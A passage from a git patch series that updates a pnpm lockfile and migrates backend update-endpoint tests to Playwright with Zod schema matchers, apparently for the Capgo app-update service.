     resolution: {integrity: sha512-hDJtKjMLVa7Z+LwnTCxoDLQj6wdc+B8dun7ayF2fYieI6OzfuvcLMB32ihJZ4UhCBwNYGl5bg/x/P9cMdnkc2g==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-define-polyfill-provider': 0.4.0(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-define-polyfill-provider': 0.4.0(@babel/core@7.23.3)
     transitivePeerDependencies:
       - supports-color
     dev: true
@@ -6238,7 +6123,7 @@ packages:
       normalize-path: 3.0.0
       readdirp: 3.6.0
     optionalDependencies:
-      fsevents: 2.3.2
+      fsevents: 2.3.3
 
   /chownr@1.1.4:
     resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==}
@@ -6832,10 +6717,6 @@ packages:
       through2: 4.0.2
     dev: false
 
-  /convert-source-map@1.9.0:
-    resolution: {integrity: sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==}
-    dev: true
-
   /convert-source-map@2.0.0:
     resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==}
     dev: true
@@ -8813,6 +8694,7 @@ packages:
     engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
     os: [darwin]
     requiresBuild: true
+    dev: true
     optional: true
 
   /fsevents@2.3.3:
@@ -8820,7 +8702,6 @@ packages:
     engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
     os: [darwin]
     requiresBuild: true
-    dev: true
     optional: true
 
   /function-bind@1.1.1:
@@ -11534,18 +11415,18 @@ packages:
     engines: {node: '>=10'}
     dev: false
 
-  /playwright-core@1.40.0:
-    resolution: {integrity: sha512-fvKewVJpGeca8t0ipM56jkVSU6Eo0RmFvQ/MaCQNDYm+sdvKkMBBWTE1FdeMqIdumRaXXjZChWHvIzCGM/tA/Q==}
+  /playwright-core@1.39.0:
+    resolution: {integrity: sha512-+k4pdZgs1qiM+OUkSjx96YiKsXsmb59evFoqv8SKO067qBA+Z2s/dCzJij/ZhdQcs2zlTAgRKfeiiLm8PQ2qvw==}
     engines: {node: '>=16'}
     hasBin: true
     dev: true
 
-  /playwright@1.40.0:
-    resolution: {integrity: sha512-gyHAgQjiDf1m34Xpwzaqb76KgfzYrhK7iih+2IzcOCoZWr/8ZqmdBw+t0RU85ZmfJMgtgAiNtBQ/KS2325INXw==}
+  /playwright@1.39.0:
+    resolution: {integrity: sha512-naE5QT11uC/Oiq0BwZ50gDmy8c8WLPRTEWuSSFVG2egBka/1qMoSqYQcROMT9zLwJ86oPofcTH2jBY/5wWOgIw==}
     engines: {node: '>=16'}
     hasBin: true
     dependencies:
-      playwright-core: 1.40.0
+      playwright-core: 1.39.0
     optionalDependencies:
       fsevents: 2.3.2
     dev: true
@@ -12514,7 +12395,7 @@ packages:
     peerDependencies:
       rollup: ^2.0.0
     dependencies:
-      '@babel/code-frame': 7.22.10
+      '@babel/code-frame': 7.23.4
       jest-worker: 26.6.2
       rollup: 2.79.1
       serialize-javascript: 4.0.0
@@ -12526,7 +12407,7 @@ packages:
     engines: {node: '>=10.0.0'}
     hasBin: true
     optionalDependencies:
-      fsevents: 2.3.2
+      fsevents: 2.3.3
 
   /rollup@4.5.1:
     resolution: {integrity: sha512-0EQribZoPKpb5z1NW/QYm3XSR//Xr8BeEXU49Lc/mQmpmVVG5jPUVrpc2iptup/0WMrY9mzas0fxH+TjYvG2CA==}
@@ -14730,10 +14611,10 @@ packages:
     engines: {node: '>=16.0.0'}
     dependencies:
       '@apideck/better-ajv-errors': 0.3.6(ajv@8.12.0)
-      '@babel/core': 7.22.11
-      '@babel/preset-env': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/preset-env': 7.22.5(@babel/core@7.23.3)
       '@babel/runtime': 7.22.5
-      '@rollup/plugin-babel': 5.3.1(@babel/core@7.22.11)(rollup@2.79.1)
+      '@rollup/plugin-babel': 5.3.1(@babel/core@7.23.3)(rollup@2.79.1)
       '@rollup/plugin-node-resolve': 11.2.1(rollup@2.79.1)
       '@rollup/plugin-replace': 2.4.2(rollup@2.79.1)
       '@surma/rollup-plugin-off-main-thread': 2.2.3
diff --git a/tests/auth.setup.ts b/tests/auth.setup.ts
index bb51ca4a79..6f7bf1f469 100644
--- a/tests/auth.setup.ts
+++ b/tests/auth.setup.ts
@@ -1,5 +1,4 @@
 import { expect, test as setup } from '@playwright/test'
-import { existsSync } from 'node:fs';
 
 const BASE_URL = 'http://localhost:5173'
 const authFile1 = 'playwright/.auth/user1.json'
@@ -9,9 +8,6 @@ setup.describe.configure({ mode: 'serial' })
 
 setup('authenticate as test1', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
-  
-  if (existsSync(authFile2))
-    return
 
   const email = 'test@capgo.app'
 
@@ -32,9 +28,6 @@ setup('authenticate as test1', async ({ page }) => {
 setup('authenticate as test2', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
 
-  if (existsSync(authFile2))
-    return
-
   const email = 'test2@capgo.app'
 
   // Fill in the username and password fields

From 44b6ce4a1a8328d936b3d352371d5e2724557141 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 27 Nov 2023 05:31:42 +0100
Subject: [PATCH 87/96] Change channel snapshotting

---
 tests/organization_system.spec.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index dc5f3a3690..a68b7ebd9e 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -335,7 +335,7 @@ test.describe('Test organization system permissions', () => {
         deviceSnapshot = deviceData
       })
 
-      testWithInvitedUser.afterAll(async () => {
+      testWithInvitedUser.afterEach(async () => {
         await expect(channelSnapshots).toBeTruthy()
         await expect(bundleSnapshot).toBeTruthy()
 

From 17b3980f7d450bf0e98d6203de4e9aca0a581d90 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 27 Nov 2023 19:05:22 +0100
Subject: [PATCH 88/96] Switch order to avoid the delete cascade

---
 tests/organization_system.spec.ts | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index a68b7ebd9e..ca46ec3d0c 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -344,15 +344,15 @@ test.describe('Test organization system permissions', () => {
 
         expect(error).toBeFalsy()
 
-        const { error: error2 } = await supabase.from('channels').insert(channelSnapshots!)
-        await expect(error2).toBeFalsy()
-
         const { error: error3 } = await supabase.from('app_versions').delete().eq('id', '9601')
         await expect(error3).toBeFalsy()
 
         const { error: error4 } = await supabase.from('app_versions').insert(bundleSnapshot!)
         await expect(error4).toBeFalsy()
 
+        const { error: error2 } = await supabase.from('channels').insert(channelSnapshots!)
+        await expect(error2).toBeFalsy()
+
         const { error: error5 } = await supabase.from('devices').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
         await expect(error5).toBeFalsy()
 

From 52dfd5a8f9f86cd44466fbd751c056cfac38465a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Tue, 28 Nov 2023 05:12:43 +0100
Subject: [PATCH 89/96] Migrate backend tests to playwright

---
 components.d.ts                               |   1 -
 tests/global.d.ts                             |  10 +
 tests/update_endpoint.spec.ts                 | 383 ++++++++++++++++++
 tests/zodUtils.ts                             |  48 +++
 tests_backend/tests/backend/updates_test.ts   | 242 +----------
 tests_backend/tests/cli/test_cli.ts           |   4 +-
 tests_backend/tests/organization/main.ts      |   2 +-
 .../tests/selectable_disallow/main.ts         |   4 +-
 tests_backend/utils.ts                        |   3 +-
 9 files changed, 451 insertions(+), 246 deletions(-)
 create mode 100644 tests/global.d.ts
 create mode 100644 tests/update_endpoint.spec.ts
 create mode 100644 tests/zodUtils.ts

diff --git a/components.d.ts b/components.d.ts
index 12bce887b2..e634314dd6 100644
--- a/components.d.ts
+++ b/components.d.ts
@@ -34,7 +34,6 @@ declare module 'vue' {
     RouterLink: typeof import('vue-router')['RouterLink']
     RouterView: typeof import('vue-router')['RouterView']
     Searchbar: typeof import('./src/components/Searchbar.vue')['default']
-    SharedApps: typeof import('./src/components/dashboard/SharedApps.vue')['default']
     SharedUserTable: typeof import('./src/components/tables/SharedUserTable.vue')['default']
     Sidebar: typeof import('./src/components/Sidebar.vue')['default']
     Spinner: typeof import('./src/components/Spinner.vue')['default']
diff --git a/tests/global.d.ts b/tests/global.d.ts
new file mode 100644
index 0000000000..ea1b4649e2
--- /dev/null
+++ b/tests/global.d.ts
@@ -0,0 +1,10 @@
+import { ZodTypeAny } from 'zod';
+ 
+declare global {
+    namespace PlaywrightTest {
+        interface Matchers<R, T> {
+            toMatchSchema(schema: ZodTypeAny): Promise<R>;
+            toHaveError(error: string): Promise<R>
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/update_endpoint.spec.ts b/tests/update_endpoint.spec.ts
new file mode 100644
index 0000000000..5c09f98db5
--- /dev/null
+++ b/tests/update_endpoint.spec.ts
@@ -0,0 +1,383 @@
+import { APIRequestContext, test } from '@playwright/test'
+import { useSupabaseAdmin } from './utils'
+import type { Database } from '~/types/supabase.types'
+import { z } from 'zod'
+import { expect } from './zodUtils'
+
+const functionUrl = process.env.BACKEND_URL || 'http://localhost:54321/functions/v1/'
+const defaultUserId = '6aa76066-55ef-4238-ade6-0b32334a4097'
+
+const updateAndroidBaseData = {
+  platform: 'android',
+  device_id: '00009a6b-eefe-490a-9c60-8e965132ae51',
+  app_id: 'com.demo.app',
+  custom_id: '',
+  version_build: '1.0',
+  version_code: '1',
+  version_os: '13',
+  version_name: '1.0.0',
+  plugin_version: '5.2.1',
+  is_emulator: false,
+  is_prod: true,
+}
+
+function getBaseData() {
+  return structuredClone(updateAndroidBaseData)
+}
+
+const updateNewScheme = z.object({
+  url: z.string(),
+  version: z.string()
+})
+
+const backendTest = test.extend<object, {}>({
+  baseURL: new URL('updates', functionUrl).toString(),
+})
+
+backendTest.describe.configure({ mode: 'serial' })
+
+const copiedChannelList: { data: Database['public']['Tables']['channels']['Row'], id: number }[] = []
+async function copyChannelById(id: number) {
+  const supabase = await useSupabaseAdmin()
+
+  const { data, error } = await supabase.from('channels')
+    .select()
+    .eq('id', id)
+    .single()
+
+  expect(error).toBeFalsy()
+  expect(data).toBeTruthy()
+
+  copiedChannelList.push({ data: data!, id })
+}
+
+async function restoreChannel() {
+  const supabase = await useSupabaseAdmin()
+  expect(copiedChannelList.length).toBeGreaterThan(0)
+
+  const copiedChannel = await copiedChannelList.pop()
+  expect(copiedChannel).toBeTruthy()
+
+  const { error } = await supabase.from('channels ')
+    .update(copiedChannel!.data)
+    .eq('id', copiedChannel!.id)
+
+  expect(error).toBeFalsy()
+}
+
+function postUpdate(request: APIRequestContext, data: object) {
+  return request.post('', {
+    data
+  })
+}
+ 
+backendTest.describe('Test update logic', () => {
+
+  backendTest.beforeAll(async () => await copyChannelById(22))
+  backendTest.beforeAll(async () => {
+    const supabase = await useSupabaseAdmin()
+
+    const { error } = await supabase.from('channels')
+      .update({ 
+        version: 9654,
+        public: true, 
+        android: true,
+        disableAutoUpdate: 'major'
+      })
+      .eq('id', 22)
+
+    await expect(error).toBeFalsy()
+  })
+  backendTest.afterAll(restoreChannel)
+
+  backendTest('Test no new version available', async ({ request }) => {
+    const baseData = getBaseData()
+
+    const response = await postUpdate(request, baseData)
+
+    expect(response.ok()).toBeTruthy()
+    expect(await response.json()).toEqual({ message: 'No new version available' });
+  })
+
+  backendTest('Test new version available', async ({ request }) => {
+    const baseData = getBaseData()
+    baseData.version_name = '1.1.0'
+
+    const response = await postUpdate(request, baseData)
+    expect(response.ok()).toBeTruthy()
+
+    const json = await response.json()
+    await expect(json).toMatchSchema(updateNewScheme)
+    const parsed = updateNewScheme.parse(json)
+
+    expect(parsed.version).toBe('1.0.0')
+  })
+
+  backendTest('Test disable auto update to major', async ({ request }) => {
+    const baseData = getBaseData()
+    baseData.version_name = '0.0.0'
+
+    const response = await postUpdate(request, baseData)
+    expect(response.ok()).toBeTruthy()
+
+    expect(response).toHaveError('disable_auto_update_to_major')
+  })
+
+  backendTest.describe('Test disable auto update to minor', () => {
+    backendTest.beforeAll(async () => await copyChannelById(22))
+    backendTest.afterAll(restoreChannel)
+
+    backendTest.beforeAll('Prepare test', async () => {
+      const supabase = await useSupabaseAdmin()
+
+      // Set version to 1.361.0
+      const { error } = await supabase.from('channels')
+        .update({ disableAutoUpdate: 'minor', version: 9653 })
+        .eq('id', 22)
+
+      expect(error).toBeFalsy()
+    })
+
+    backendTest('Test disable_auto_update_to_minor', async ({ request }) => {
+      const baseData = getBaseData()
+      baseData.version_name = '1.1.0'
+  
+      const response = await postUpdate(request, baseData)
+      expect(response.ok()).toBeTruthy()
+  
+      expect(response).toHaveError('disable_auto_update_to_minor')
+    })
+  })
+
+  backendTest('Test disable auto update under native', async ({ request }) => {
+    const baseData = getBaseData()
+    baseData.version_build = '2.0.0'
+    baseData.version_name = '2.0.0'
+
+    const response = await postUpdate(request, baseData)
+    expect(response.ok()).toBeTruthy()
+
+    expect(response).toHaveError('disable_auto_update_under_native')
+  })
+
+  backendTest.describe('Test disallow emulator', () => {
+    backendTest.beforeAll(async () => await copyChannelById(22))
+    backendTest.afterAll(restoreChannel)
+
+    backendTest.beforeAll('Prepare test', async () => {
+      const supabase = await useSupabaseAdmin()
+
+      // Set version to 1.361.0
+      const { error } = await supabase.from('channels')
+        .update({ allow_emulator: false })
+        .eq('id', 22)
+
+      expect(error).toBeFalsy()
+    })
+
+    backendTest('Test disable_emulator', async ({ request }) => {
+      const baseData = getBaseData()
+      baseData.version_name = '1.1.0'
+      baseData.is_emulator = true
+  
+      const response = await postUpdate(request, baseData)
+      expect(response.ok()).toBeTruthy()
+  
+      expect(response).toHaveError('disable_emulator')
+    })
+  })
+
+  backendTest.describe('Test development build', () => {
+    backendTest.beforeAll(async () => await copyChannelById(22))
+    backendTest.afterAll(restoreChannel)
+
+    backendTest.beforeAll('Prepare test', async () => {
+      const supabase = await useSupabaseAdmin()
+
+      // Set version to 1.361.0
+      const { error } = await supabase.from('channels')
+        .update({ allow_dev: false })
+        .eq('id', 22)
+
+      expect(error).toBeFalsy()
+    })
+
+    backendTest('Test disable_dev_build', async ({ request }) => {
+      const baseData = getBaseData()
+      baseData.version_name = '1.1.0'
+      baseData.is_prod = false
+  
+      const response = await postUpdate(request, baseData)
+      expect(response.ok()).toBeTruthy()
+  
+      expect(response).toHaveError('disable_dev_build')
+    })
+  })
+
+  backendTest('Test with an app that does not exist', async ({ request }) => {
+    const baseData = getBaseData()
+    baseData.app_id = 'does.not.exist'
+
+    const response = await postUpdate(request, baseData)
+    expect(response.ok()).toBeTruthy()
+
+    expect(response).toHaveError('app_not_found')
+  })
+
+  backendTest.describe('Test with new device', () => {
+    const uuid = crypto.randomUUID()
+
+    // Remove the device from db after the test
+    backendTest.afterAll(async ({ request }) => {
+      const supabase = await useSupabaseAdmin()
+
+      const { error } = await supabase.from('devices')
+        .delete()
+        .eq('device_id', uuid)
+
+      expect(error).toBeFalsy()
+
+      // After removing the overwrite check if there are no new versions avalible
+      const baseData = getBaseData()
+      baseData.device_id = uuid
+
+      // Get and check response
+      const response = await postUpdate(request, baseData)
+      expect(response.ok()).toBeTruthy()
+  
+      // Parse response (check schema)
+      const json = await response.json()
+      expect(json).toEqual({ message: 'No new version available' });
+    })
+
+    backendTest('Assert new device was created', async ({ request }) => {
+      const baseData = getBaseData()
+      baseData.device_id = uuid
+      
+      // Get and check response
+      const response = await postUpdate(request, baseData)
+      expect(response.ok()).toBeTruthy()
+  
+      // Parse response (check schema)
+      const json = await response.json()
+      expect(json).toEqual({ message: 'No new version available' });
+
+      // Check if device was added
+      const supabase = await useSupabaseAdmin()
+      const { error, data } = await supabase.from('devices')
+        .select()
+        .eq('device_id', uuid)
+        .single()
+
+      expect(error).toBeFalsy()
+      expect(data).toBeTruthy()
+      expect(data!.app_id).toBe(baseData.app_id)
+    })
+
+    backendTest.describe('Test channel overwrite', () => {
+      backendTest.beforeAll(async () => await copyChannelById(23))
+      backendTest.afterAll(restoreChannel)
+
+      // Make sure that this overwrite gets deleted after the test
+      backendTest.afterAll(async () => {
+        const supabase = await useSupabaseAdmin()
+        const { error } = await supabase.from('channel_devices')
+          .delete()
+          .eq('device_id', uuid)
+
+        expect(error).toBeFalsy()
+      })
+
+      // Prepare test
+      backendTest.beforeAll(async () => {
+        const supabase = await useSupabaseAdmin()
+
+        const { error } = await supabase
+        .from('channel_devices')
+        .insert({
+          device_id: uuid,
+          channel_id: 23,
+          app_id: updateAndroidBaseData.app_id,
+          created_by: defaultUserId,
+        })
+        expect(error).toBeFalsy()
+
+        const { error: error2 } = await supabase
+          .from('channels')
+          .update({ disableAutoUpdate: 'none', version: 9653, allow_dev: true, allow_emulator: true, android: true })
+          .eq('id', 23)
+        
+        expect(error2).toBeFalsy()
+      })
+  
+      backendTest('Test device overwrite', async ({ request }) => {
+        const baseData = await getBaseData()
+        baseData.device_id = uuid
+        baseData.version_name = '0.0.0'
+        
+        const response = await postUpdate(request, baseData)
+        expect(response.ok()).toBeTruthy()
+    
+        const json = await response.json()
+        await expect(json).toMatchSchema(updateNewScheme)
+        const parsed = updateNewScheme.parse(json)
+    
+        expect(parsed.version).toBe('1.361.0')
+      })
+    })
+
+    backendTest.describe('Test version overwrite', () => {
+      backendTest.beforeAll(async () => await copyChannelById(23))
+      backendTest.afterAll(restoreChannel)
+
+      // Make sure that this overwrite gets deleted after the test
+      backendTest.afterAll(async () => {
+        const supabase = await useSupabaseAdmin()
+        const { error } = await supabase.from('devices_override')
+          .delete()
+          .eq('device_id', uuid)
+
+        expect(error).toBeFalsy()
+      })
+
+      // Prepare test
+      backendTest.beforeAll(async () => {
+        const supabase = await useSupabaseAdmin()
+
+        const { error } = await supabase
+        .from('devices_override')
+        .insert({
+          device_id: uuid,
+          version: 9601,
+          app_id: updateAndroidBaseData.app_id,
+          created_by: defaultUserId,
+        })
+        expect(error).toBeFalsy()
+
+        const { error: error2 } = await supabase
+          .from('channels')
+          .update({ disableAutoUpdate: 'none', version: 9653, allow_dev: true, allow_emulator: true, android: true })
+          .eq('id', 23)
+        
+        expect(error2).toBeFalsy()
+      })
+  
+      backendTest('Test device overwrite', async ({ request }) => {
+        const baseData = await getBaseData()
+        baseData.device_id = uuid
+        baseData.version_name = '0.0.0'
+        
+        const response = await postUpdate(request, baseData)
+        expect(response.ok()).toBeTruthy()
+    
+        const json = await response.json()
+        await expect(json).toMatchSchema(updateNewScheme)
+        const parsed = updateNewScheme.parse(json)
+    
+        expect(parsed.version).toBe('1.359.0')
+      })
+    })
+  })
+})
+
+
diff --git a/tests/zodUtils.ts b/tests/zodUtils.ts
new file mode 100644
index 0000000000..801079c750
--- /dev/null
+++ b/tests/zodUtils.ts
@@ -0,0 +1,48 @@
+import { APIResponse, expect as baseExport } from '@playwright/test'
+import { ZodTypeAny, z } from 'zod';
+
+const zodErrorScheme = z.object({
+    error: z.string()
+}) 
+
+export const expect = baseExport.extend({
+    async toMatchSchema(received: any, schema: ZodTypeAny) {
+      const response = received
+      const result = await schema.safeParseAsync(response);
+      if (result.success) {
+        return {
+          message: () => "schema matched",
+          pass: true,
+        };
+      } else {
+        return {
+          message: () =>
+            "Result does not match schema: " +
+            result.error.issues.map((issue) => issue.message).join("\n") +
+            "\n" +
+            "Details: " +
+            JSON.stringify(result.error, null, 2) +
+            "Full response:\n" +
+            JSON.stringify(response),
+          pass: false,
+        };
+      }
+    },
+    async toHaveError(received: APIResponse, error: string) {
+        const response = await received.json()
+        await expect(response).toMatchSchema(zodErrorScheme)
+        const result = zodErrorScheme.parse(response)
+        
+        if (result.error === error) {
+          return {
+            message: () => "Error matched",
+            pass: true,
+          };
+        } else {
+          return {
+            message: () => `Response error ${result.error} !== ${error}`,
+            pass: false
+          }
+        }
+      },
+  });
\ No newline at end of file
diff --git a/tests_backend/tests/backend/updates_test.ts b/tests_backend/tests/backend/updates_test.ts
index bf1f2661b0..9e9b58f14c 100644
--- a/tests_backend/tests/backend/updates_test.ts
+++ b/tests_backend/tests/backend/updates_test.ts
@@ -1,5 +1,5 @@
 import type { RunnableTest, SupabaseType, updateAndroidBaseData } from '../../utils.ts'
-import { assert, assertEquals, updateAndroidBaseData as baseData, defaultUserId, delay, getUpdateBaseData as getBaseData, getResponseError, responseOk, sendUpdate, getRawSqlConnection } from '../../utils.ts'
+import { assert, assertEquals, updateAndroidBaseData as baseData, defaultUserId, delay, getUpdateBaseData as getBaseData, getResponseError, responseOk, sendUpdate, getRawSqlConnection, testPlaywright } from '../../utils.ts'
 
 export function getTest(): RunnableTest {
   return {
@@ -12,7 +12,7 @@ export function getTest(): RunnableTest {
         timesToExecute: 1,
       },
       {
-        name: 'Test updates endpoint (big)',
+        name: 'Test updates endpoint (playwright)',
         test: testUpdateEndpoint,
         timesToExecute: 3,
       },
@@ -56,243 +56,7 @@ async function prepapreUpdateTest(_backendBaseUrl: URL, supabase: SupabaseType)
 }
 
 async function testUpdateEndpoint(backendBaseUrl: URL, supabase: SupabaseType) {
-  const noNewResponse = await sendUpdate(backendBaseUrl, baseData)
-  await responseOk(noNewResponse, 'No new')
-
-  const json = await noNewResponse.json()
-  assertEquals(json, noNew, `Response ${JSON.stringify(json)} is not equal to ${JSON.stringify(noNew)}`)
-
-  const newVersionData = getBaseData()
-  newVersionData.version_name = '1.1.0'
-  const newVersion = await sendUpdate(backendBaseUrl, newVersionData)
-  await responseOk(newVersion, 'New version')
-  const newVersionJson = await newVersion.json()
-  assert(newVersionJson.url !== undefined, `Response ${JSON.stringify(newVersionJson)} has no url`)
-  assert(newVersionJson.version !== undefined, `Response ${JSON.stringify(newVersionJson)} has no version`)
-  assert(newVersionJson.version === '1.0.0', `Response ${JSON.stringify(newVersionJson)} version is not equal to 1.0.0`)
-  // We cannot test download because we don't have a file to download (The file is uploaded to s3, we could test this IF we used the cli to upload the file to s3)
-  // This is a diffrent test outside of the scope of this test
-
-  const autoUpdateMajorFailData = getBaseData()
-  autoUpdateMajorFailData.version_name = '0.0.0'
-  const failMajorResponse = await sendUpdate(backendBaseUrl, autoUpdateMajorFailData)
-  await responseOk(failMajorResponse, 'Disable auto update to major')
-  const failMajorError = await getResponseError(failMajorResponse)
-  assert(failMajorError === 'disable_auto_update_to_major', `Response error ${failMajorError} is not equal to disable_auto_update_to_major`)
-
-  const setDisableUpdateMinor = await supabase.from('channels').update({ disableAutoUpdate: 'minor' }).eq('id', 22)
-  assert(setDisableUpdateMinor.error === null, `Supabase set minor update error ${JSON.stringify(setDisableUpdateMinor.error)} is not null`)
-
-  // 3 seconds of delay so that supabase can invalidate the data
-  await delay(3000)
-
-  try {
-    // Set version to 1.361.0
-    const setVersionResult = await supabase.from('channels').update({ version: 9653 }).eq('id', 22)
-    assert(setVersionResult.error === null, `Supabase version error ${JSON.stringify(setVersionResult.error)} is not null`)
-
-    // Nested becouse it has to be that way
-
-    try {
-      const autoUpdateMinorFailData = getBaseData()
-      autoUpdateMinorFailData.version_name = '1.1.0'
-      const failMinorResponse = await sendUpdate(backendBaseUrl, autoUpdateMinorFailData)
-      await responseOk(failMinorResponse, 'Disable auto update to minor')
-      const failMinorError = await getResponseError(failMinorResponse)
-      assert(failMinorError === 'disable_auto_update_to_minor', `Response error ${failMinorError} is not equal to disable_auto_update_to_minor`)
-    }
-    finally {
-      // Revert version to 1.0.0
-      const setVersionResult = await supabase.from('channels').update({ version: 9654 }).eq('id', 22)
-      assert(setVersionResult.error === null, `Supabase version error ${JSON.stringify(setVersionResult.error)} is not null`)
-    }
-  }
-  finally {
-    const setDisableUpdateMajor = await supabase.from('channels').update({ disableAutoUpdate: 'major' }).eq('id', 22)
-    assert(setDisableUpdateMajor.error === null, `Supabase set minor update error ${JSON.stringify(setDisableUpdateMajor.error)} is not null`)
-
-    // 3 seconds of delay so that supabase can invalidate the data
-    await delay(3000)
-  }
-
-  const disableAutoUpdateUnderNativeData = getBaseData()
-  disableAutoUpdateUnderNativeData.version_build = '2.0.0'
-  disableAutoUpdateUnderNativeData.version_name = '2.0.0'
-  const disableAutoUpdateUnderNativeResponse = await sendUpdate(backendBaseUrl, disableAutoUpdateUnderNativeData)
-  await responseOk(disableAutoUpdateUnderNativeResponse, 'Disable auto update under native')
-  const disableAutoUpdateUnderNativeError = await getResponseError(disableAutoUpdateUnderNativeResponse)
-  assert(disableAutoUpdateUnderNativeError === 'disable_auto_update_under_native', `Response error ${disableAutoUpdateUnderNativeError} is not equal to disable_auto_update_under_native`)
-
-  // We disable 'allow_emulator' to test what happens when we send a request with is_emulator = true
-  const { error: emulatorError } = await supabase.from('channels').update({ allow_emulator: false }).eq('id', 22)
-  assert(emulatorError === null, `Supabase error ${JSON.stringify(emulatorError)} is not null`)
-
-  const disableEmulatorData = getBaseData()
-  disableEmulatorData.version_name = '1.1.0'
-  disableEmulatorData.is_emulator = true
-  try {
-    const disableEmulatorResponse = await sendUpdate(backendBaseUrl, disableEmulatorData)
-    await responseOk(disableEmulatorResponse, 'Disable emulator')
-    const disableEmulatorError = await getResponseError(disableEmulatorResponse)
-    assert (disableEmulatorError === 'disable_emulator', `Response error ${disableEmulatorError} is not equal to disable_emulator`)
-  }
-  finally {
-    const { error: emulatorError2 } = await supabase.from('channels').update({ allow_emulator: true }).eq('id', 22)
-    assert(emulatorError2 === null, `Supabase disable_emulator error ${JSON.stringify(emulatorError2)} is not null`)
-  }
-
-  // We disable 'allow_dev' to test what happens when we send a request with allow_dev = true
-  const { error: setAllowDevError } = await supabase.from('channels').update({ allow_dev: false }).eq('id', 22)
-  assert(emulatorError === null, `Supabase error ${JSON.stringify(setAllowDevError)} is not null`)
-
-  const allowDevData = getBaseData()
-  allowDevData.version_name = '1.1.0'
-  allowDevData.is_prod = false
-  try {
-    const allowDevResponse = await sendUpdate(backendBaseUrl, allowDevData)
-    await responseOk(allowDevResponse, 'Allow dev')
-    const allowDevError = await getResponseError(allowDevResponse)
-    assert (allowDevError === 'disable_dev_build', `Response error ${allowDevError} is not equal to disable_dev_build`)
-  }
-  finally {
-    const { error: setAllowDevError2 } = await supabase.from('channels').update({ allow_dev: true }).eq('id', 22)
-    assert(setAllowDevError2 === null, `Supabase disable_dev_build error ${JSON.stringify(setAllowDevError2)} is not null`)
-  }
-
-  // We test what happens if app does not exist
-  const appDoesNotExistData = getBaseData()
-  appDoesNotExistData.app_id = 'does.not.exist'
-  const appDoesNotExistResponse = await sendUpdate(backendBaseUrl, appDoesNotExistData)
-  await responseOk(appDoesNotExistResponse, 'App does not exist')
-  const appDoesNotExistError = await getResponseError(appDoesNotExistResponse)
-  assert(appDoesNotExistError === 'app_not_found', `Response error ${appDoesNotExistError} is not equal to app_not_found`)
-
-  // We test what happens if device id does not exist
-  const newDeviceData = getBaseData()
-  newDeviceData.device_id = crypto.randomUUID()
-  try {
-    const newDeviceResponse = await sendUpdate(backendBaseUrl, newDeviceData)
-    await responseOk(newDeviceResponse, 'Device does not exist')
-    // We check in supabase now
-    const { data: newDeviceSupa, error: newDeviceSupaError } = await supabase
-      .from('devices')
-      .select()
-      .eq('device_id', newDeviceData.device_id)
-      .single()
-
-    assert(newDeviceSupaError === null, `Supabase get device error ${JSON.stringify(newDeviceSupaError)} is not null`)
-    assert(newDeviceSupa !== null, 'Supabase get device is null')
-    assert(newDeviceSupa?.device_id === newDeviceData.device_id, `Supabase device ${JSON.stringify(newDeviceSupa)} id is not equal to ${newDeviceData.device_id}`)
-
-    // Test channel overwrite
-    // This reuse is because after we sent the first request, the device is created in supabase
-    // If we create new UUID we have to manually create the device in supabase
-    const channelOverwriteData = newDeviceData
-    try {
-      const { error: channelOverwriteError } = await supabase
-        .from('channel_devices')
-        .insert({
-          device_id: channelOverwriteData.device_id,
-          channel_id: 23,
-          app_id: channelOverwriteData.app_id,
-          created_by: defaultUserId,
-        })
-
-      assert(channelOverwriteError === null, `Supabase channel_devices insert error ${JSON.stringify(channelOverwriteError)} is not null`)
-
-      // 3 seconds of delay so that supabase can invalidate the data
-      await delay(3000)
-
-      const overwritenChannel = await sendUpdate(backendBaseUrl, channelOverwriteData)
-      await responseOk(overwritenChannel, 'Overwrite channel version')
-      const overwriteChannelJson = await overwritenChannel.json()
-      assert(overwriteChannelJson.url !== undefined, `Response ${JSON.stringify(overwriteChannelJson)} has no url`)
-      assert(overwriteChannelJson.version !== undefined, `Response ${JSON.stringify(overwriteChannelJson)} has no version`)
-      assert(overwriteChannelJson.version === '1.361.0', `Response ${JSON.stringify(overwriteChannelJson)} version is not equal to 1.361.0`)
-
-      // That is not the end. Let's make sure that the channel update will succeed if the overwriten channel as a different update strategy
-      const { error: changeOverwritenChannelStrategyError } = await supabase
-        .from('channels')
-        .update({ disableAutoUpdate: 'none' })
-        .eq('id', 23)
-
-      assert(changeOverwritenChannelStrategyError === null, `Supabase changeOverwritenChannelStrategyError error ${JSON.stringify(changeOverwritenChannelStrategyError)} is not null`)
-
-      // 3 seconds of delay so that supabase can invalidate the data
-      await delay(3000)
-
-      try {
-        const overwrittenChannelData2 = structuredClone(newDeviceData) as typeof updateAndroidBaseData
